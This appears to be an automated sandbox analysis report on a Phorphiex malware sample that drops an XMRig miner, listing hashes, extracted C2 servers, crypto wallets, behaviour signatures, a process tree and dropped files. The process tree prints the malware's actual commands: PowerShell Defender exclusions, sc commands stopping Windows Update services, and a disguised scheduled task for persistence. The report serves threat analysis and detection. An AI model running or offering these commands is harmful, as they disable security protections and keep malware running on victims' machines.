Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-07-2024 10:14

General

  • Target

    e2e3268f813a0c5128ff8347cbaa58c8.exe

  • Size

    79KB

  • MD5

    e2e3268f813a0c5128ff8347cbaa58c8

  • SHA1

    4952cbfbdec300c048808d79ee431972b8a7ba84

  • SHA256

    d8b83f78ed905a7948e2e1e371f0f905bcaaabbb314c692fee408a454f8338a3

  • SHA512

    cb5aeda8378a9a5470f33f2b70c22e77d2df97b162ba953eb16da085b3c434be31a5997eac11501db0cb612cdb30fa9045719fcd10c7227c56cc782558e0c3bc

  • SSDEEP

    1536:W9mw4/inFmav82TmKtj+5qUPsY3BCHYJhcWPA4G9kj3K1:CmwohOBiPsWMH4ogj3K

Malware Config

Extracted

Family

phorphiex

C2

http://185.215.113.66/

http://77.91.77.92/

http://91.202.233.141/

Wallets

0xCa90599132C4D88907Bd8E046540284aa468a035

TRuGGXNDM1cavQ1AqMQHG8yfxP4QWVSMN6

qph44jx8r9k5xeq5cuf958krv3ewrnp5vc6hhdjd3r

XryzFMFVpDUvU7famUGf214EXD3xNUSmQf

LLeT2zkStY3cvxMBFhoWXkG5VuZPoezduv

rwc4LVd9ABpULQ1CuCpDkgX2xVB1fUijyb

4AtjkCVKbtEC3UEN77SQHuH9i1XkzNiRi5VCbA2XGsJh46nJSXfGQn4GjLuupCqmC57Lo7LvKmFUyRfhtJSvKvuw3h9ReKK

15TssKwtjMtwy4vDLcLsQUZUD2B9f7eDjw85sBNVC5LRPPnC

17hgMFyLDwMjxWqw5GhijhnPdJDyFDqecY

ltc1qt0n3f0t7vz9k0mvcswk477shrxwjhf9sj5ykrp

3PMiLynrGVZ8oEqvoqC4hXD67B1WoALR4pc

3FerB8kUraAVGCVCNkgv57zTBjUGjAUkU3

DLUzwvyxN1RrwjByUPPzVMdfxNRPGVRMMA

t1J6GCPCiHW1eRdjJgDDu6b1vSVmL5U7Twh

stars125f3mw4xd9htpsq4zj5w5ezm5gags37yxxh6mj

bnb1epx67ne4vckqmaj4gwke8m322f4yjr6eh52wqw

bc1qmpkehfffkr6phuklsksnd7nhgx0369sxu772m3

bitcoincash:qph44jx8r9k5xeq5cuf958krv3ewrnp5vc6hhdjd3r

GBQJMXYXPRIWFMXIFJR35ZB7LRKMB4PHCIUAUFR3TKUL6RDBZVLZEUJ3

Attributes
  • mutex

    x66x54x66x

  • user_agent

    Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36

Signatures

  • Modifies security service 2 TTPs 2 IoCs
  • Phorphiex payload 1 IoCs
  • Phorphiex, Phorpiex

    Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs
  • Windows security bypass 2 TTPs 12 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Downloads MZ/PE file
  • Stops running service(s) 4 TTPs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 6 IoCs
  • Windows security modification 2 TTPs 14 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 4 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3404
      • C:\Users\Admin\AppData\Local\Temp\e2e3268f813a0c5128ff8347cbaa58c8.exe
        "C:\Users\Admin\AppData\Local\Temp\e2e3268f813a0c5128ff8347cbaa58c8.exe"
        2⤵
        • Adds Run key to start application
        • Drops file in Windows directory
        • Suspicious use of WriteProcessMemory
        PID:1664
        • C:\Windows\sysarddrvs.exe
          C:\Windows\sysarddrvs.exe
          3⤵
          • Modifies security service
          • Windows security bypass
          • Checks computer location settings
          • Executes dropped EXE
          • Windows security modification
          • Suspicious use of WriteProcessMemory
          PID:2844
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:4340
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2632
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1100
            • C:\Windows\SysWOW64\sc.exe
              sc stop UsoSvc
              5⤵
              • Launches sc.exe
              PID:1840
            • C:\Windows\SysWOW64\sc.exe
              sc stop WaaSMedicSvc
              5⤵
              • Launches sc.exe
              PID:2456
            • C:\Windows\SysWOW64\sc.exe
              sc stop wuauserv
              5⤵
              • Launches sc.exe
              PID:2204
            • C:\Windows\SysWOW64\sc.exe
              sc stop DoSvc
              5⤵
              • Launches sc.exe
              PID:3424
            • C:\Windows\SysWOW64\sc.exe
              sc stop BITS
              5⤵
              • Launches sc.exe
              PID:3376
          • C:\Users\Admin\AppData\Local\Temp\2883028880.exe
            C:\Users\Admin\AppData\Local\Temp\2883028880.exe
            4⤵
            • Executes dropped EXE
            • Adds Run key to start application
            • Drops file in Windows directory
            • Suspicious use of WriteProcessMemory
            PID:2272
            • C:\Windows\winblrsnrcs.exe
              C:\Windows\winblrsnrcs.exe
              5⤵
              • Modifies security service
              • Windows security bypass
              • Executes dropped EXE
              • Windows security modification
              PID:1720
          • C:\Users\Admin\AppData\Local\Temp\2992220244.exe
            C:\Users\Admin\AppData\Local\Temp\2992220244.exe
            4⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:2536
            • C:\Users\Admin\AppData\Local\Temp\2148233593.exe
              C:\Users\Admin\AppData\Local\Temp\2148233593.exe
              5⤵
              • Suspicious use of NtCreateUserProcessOtherParentProcess
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              PID:3912
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#llzqlmcx#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Windows Upgrade Manager' /tr '''C:\Users\Admin\Windows Upgrade\wupgrdsv.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Windows Upgrade\wupgrdsv.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Windows Upgrade Manager' -RunLevel 'Highest' -Force; }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:968
      • C:\Windows\System32\schtasks.exe
        C:\Windows\System32\schtasks.exe /run /tn "Windows Upgrade Manager"
        2⤵
          PID:4212
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#llzqlmcx#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Windows Upgrade Manager' /tr '''C:\Users\Admin\Windows Upgrade\wupgrdsv.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Windows Upgrade\wupgrdsv.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Windows Upgrade Manager' -RunLevel 'Highest' -Force; }
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:524
        • C:\Windows\System32\notepad.exe
          C:\Windows\System32\notepad.exe
          2⤵
            PID:4284
        • C:\Users\Admin\Windows Upgrade\wupgrdsv.exe
          "C:\Users\Admin\Windows Upgrade\wupgrdsv.exe"
          1⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:4996

        Network

        MITRE ATT&CK Enterprise v15

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        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          3KB

          MD5

          fee026663fcb662152188784794028ee

          SHA1

          3c02a26a9cb16648fad85c6477b68ced3cb0cb45

          SHA256

          dbd4136bc342e3e92902ec3a30d165452c82997a7ae24ac90775e42d88959e6b

          SHA512

          7b12bd5c8fc4356b9123d6586b4980cf76012663b41c0dab6f6f21567e2f4005c5bcea2cc2158d157e4f801a281f3e04bad3774cddb3122db309ccf662184bd6

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          d95b08252ed624f6d91b46523f110f29

          SHA1

          17577997bc1fb5d3fbe59be84013165534415dc3

          SHA256

          342ce7c39bf9992d31d4b61ef138b2b084c96c74736ed00bb19aae49be16ca02

          SHA512

          0c4288176d56f4ee6d8f08f568fba07ad859f50a395c39d2afd3baf55d3d29ca065a1ce305d1bd790477c35977c0ffa230543e805622f80a77bcee71b24eb257

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          18KB

          MD5

          5f43115a6706cc9ac9997096f86ecfc6

          SHA1

          be5272d4d210a5d9ae9871fb726996ecbd740df7

          SHA256

          f6bdc670e444fd23a3c51466de9a010fdc1bf8ab5d96ee64b09aeeef097c7473

          SHA512

          b391830b1de9d784321e9bb44b1f55b100d9bc54cf6ddd3e95e33c5882d986d42fb80d926b540a6faaf3dd3f6ea4e6dca39f869f07f70a3a94a6840e721b79b2

        • C:\Users\Admin\AppData\Local\Temp\2148233593.exe

          Filesize

          5.4MB

          MD5

          41ab08c1955fce44bfd0c76a64d1945a

          SHA1

          2b9cb05f4de5d98c541d15175d7f0199cbdd0eea

          SHA256

          dd12cb27b3867341bf6ca48715756500d3ec56c19b21bb1c1290806aa74cb493

          SHA512

          38834ae703a8541b4fec9a1db94cfe296ead58649bb1d4873b517df14d0c6a9d25e49ff04c2bf6bb0188845116a4e894aae930d849f9be8c98d2ce51da1ef116

        • C:\Users\Admin\AppData\Local\Temp\2883028880.exe

          Filesize

          18KB

          MD5

          c53b73c89515e712a301a9d17e313900

          SHA1

          154b857b1ceec6938851e57baa0861b6a1fceb16

          SHA256

          6e24c56691c01a191e88f193966e04000fe5b83caa9b5adb4afebbd6cc717c68

          SHA512

          eeefbefd1c36f8493c58cda9dbfa9ae6580a7507fb99f1deb3f869348a7e92d702cdae50c4f035b31303717984b4282fa9777e92fdd1a0c70ec32f4e7063efc0

        • C:\Users\Admin\AppData\Local\Temp\2992220244.exe

          Filesize

          10KB

          MD5

          9d3a5017e86fd5e182ca58c8293ffa3e

          SHA1

          242a24a7cda4f7c7a87c19c1ce036227b48f8235

          SHA256

          c339b1bf9947ba07e9203ebfdd6f41cf8414f4ef795d528c8f768eab0d136586

          SHA512

          009a35103362a59f83100425c702bf0072be3a3fa1afd508bc530f26a2b78f607ec70ffc4a2c929596943864b1a507a1ff4714bbfb4784d44d8dfa22084b710b

        • C:\Users\Admin\AppData\Local\Temp\3233115122.exe

          Filesize

          86KB

          MD5

          fe1e93f12cca3f7c0c897ef2084e1778

          SHA1

          fb588491ddad8b24ea555a6a2727e76cec1fade3

          SHA256

          2ebc4a92f4fdc27d4ab56e57058575a8b18adb076cbd30feea2ecdc8b7fcd41f

          SHA512

          36e0524c465187ae9ad207c724aee45bcd61cfd3fa66a79f9434d24fcbadc0a743834d5e808e6041f3bd88e75deb5afd34193574f005ed97e4b17c6b0388cb93

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bpx0fvsk.jkz.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Windows\sysarddrvs.exe

          Filesize

          79KB

          MD5

          e2e3268f813a0c5128ff8347cbaa58c8

          SHA1

          4952cbfbdec300c048808d79ee431972b8a7ba84

          SHA256

          d8b83f78ed905a7948e2e1e371f0f905bcaaabbb314c692fee408a454f8338a3

          SHA512

          cb5aeda8378a9a5470f33f2b70c22e77d2df97b162ba953eb16da085b3c434be31a5997eac11501db0cb612cdb30fa9045719fcd10c7227c56cc782558e0c3bc

        • memory/968-76-0x00000268108F0000-0x0000026810912000-memory.dmp

          Filesize

          136KB

        • memory/2632-21-0x00000000067C0000-0x000000000680C000-memory.dmp

          Filesize

          304KB

        • memory/2632-19-0x00000000061A0000-0x00000000064F4000-memory.dmp

          Filesize

          3.3MB

        • memory/2632-33-0x0000000006D70000-0x0000000006D8E000-memory.dmp

          Filesize

          120KB

        • memory/2632-34-0x0000000007990000-0x0000000007A33000-memory.dmp

          Filesize

          652KB

        • memory/2632-35-0x0000000008170000-0x00000000087EA000-memory.dmp

          Filesize

          6.5MB

        • memory/2632-36-0x0000000007AC0000-0x0000000007ADA000-memory.dmp

          Filesize

          104KB

        • memory/2632-37-0x0000000007B40000-0x0000000007B4A000-memory.dmp

          Filesize

          40KB

        • memory/2632-38-0x0000000007D40000-0x0000000007DD6000-memory.dmp

          Filesize

          600KB

        • memory/2632-39-0x0000000007CD0000-0x0000000007CE1000-memory.dmp

          Filesize

          68KB

        • memory/2632-40-0x0000000007D00000-0x0000000007D0E000-memory.dmp

          Filesize

          56KB

        • memory/2632-41-0x0000000007D10000-0x0000000007D24000-memory.dmp

          Filesize

          80KB

        • memory/2632-42-0x0000000007E00000-0x0000000007E1A000-memory.dmp

          Filesize

          104KB

        • memory/2632-43-0x0000000007DE0000-0x0000000007DE8000-memory.dmp

          Filesize

          32KB

        • memory/2632-22-0x0000000007750000-0x0000000007782000-memory.dmp

          Filesize

          200KB

        • memory/2632-20-0x0000000006780000-0x000000000679E000-memory.dmp

          Filesize

          120KB

        • memory/2632-23-0x000000006F6F0000-0x000000006F73C000-memory.dmp

          Filesize

          304KB

        • memory/2632-9-0x0000000006030000-0x0000000006096000-memory.dmp

          Filesize

          408KB

        • memory/2632-8-0x0000000005FC0000-0x0000000006026000-memory.dmp

          Filesize

          408KB

        • memory/2632-5-0x0000000005220000-0x0000000005256000-memory.dmp

          Filesize

          216KB

        • memory/2632-7-0x00000000057F0000-0x0000000005812000-memory.dmp

          Filesize

          136KB

        • memory/2632-6-0x0000000005890000-0x0000000005EB8000-memory.dmp

          Filesize

          6.2MB

        • memory/3912-89-0x00007FF6C0F80000-0x00007FF6C14F6000-memory.dmp

          Filesize

          5.5MB

        • memory/4284-106-0x0000022FAA250000-0x0000022FAA270000-memory.dmp

          Filesize

          128KB

        • memory/4284-107-0x00007FF6661E0000-0x00007FF6669CF000-memory.dmp

          Filesize

          7.9MB

        • memory/4284-108-0x00007FF6661E0000-0x00007FF6669CF000-memory.dmp

          Filesize

          7.9MB

        • memory/4284-115-0x00007FF6661E0000-0x00007FF6669CF000-memory.dmp

          Filesize

          7.9MB

        • memory/4284-117-0x00007FF6661E0000-0x00007FF6669CF000-memory.dmp

          Filesize

          7.9MB

        • memory/4284-118-0x00007FF6661E0000-0x00007FF6669CF000-memory.dmp

          Filesize

          7.9MB

        • memory/4996-105-0x00007FF7D0490000-0x00007FF7D0A06000-memory.dmp

          Filesize

          5.5MB